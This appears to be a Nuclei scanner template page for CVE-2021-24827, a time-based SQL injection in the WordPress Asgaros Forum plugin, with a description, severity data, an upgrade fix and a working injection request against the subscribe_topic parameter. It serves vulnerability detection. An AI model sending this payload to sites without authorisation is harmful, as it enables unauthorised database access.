WordPress Asgaros Forum <1.15.13 - SQL Injection

ID: CVE-2021-24827

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve2021,cve,wp-plugin,asgaros-forum,unauth,wpscan,wordpress,wp,sqli,asgaros

Description

WordPress Asgaros Forum plugin before 1.15.13 is susceptible to SQL injection. The plugin does not validate and escape user input when subscribing to a topic before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: CVE-2021-24827

info:
  name: WordPress Asgaros Forum <1.15.13 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Asgaros Forum plugin before 1.15.13 is susceptible to SQL injection. The plugin does not validate and escape user input when subscribing to a topic before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
  remediation: |
    Upgrade to the latest version of Asgaros Forum (1.15.13 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/36cc5151-1d5e-4874-bcec-3b6326235db1
    - https://wordpress.org/plugins/asgaros-forum/
    - https://plugins.trac.wordpress.org/changeset/2611560/asgaros-forum
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24827
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24827
    cwe-id: CWE-89
    epss-score: 0.20659
    epss-percentile: 0.96374
    cpe: cpe:2.3:a:asgaros:asgaros_forum:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: asgaros
    product: asgaros_forum
    framework: wordpress
  tags: time-based-sqli,cve2021,cve,wp-plugin,asgaros-forum,unauth,wpscan,wordpress,wp,sqli,asgaros

http:
  - raw:
      - |
        @timeout: 15s
        GET /forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(6) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "asgarosforum")'
        condition: and
# digest: 490a0046304402204d71fc439b9183cdef4e5783eef57a446e41607adbf3f6bcb2ada2e47a52960d02207d26e0c4f117aca8e15d0026411569b86ea77ffb384586fc7327de5f8d2c82c3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24827.yaml"

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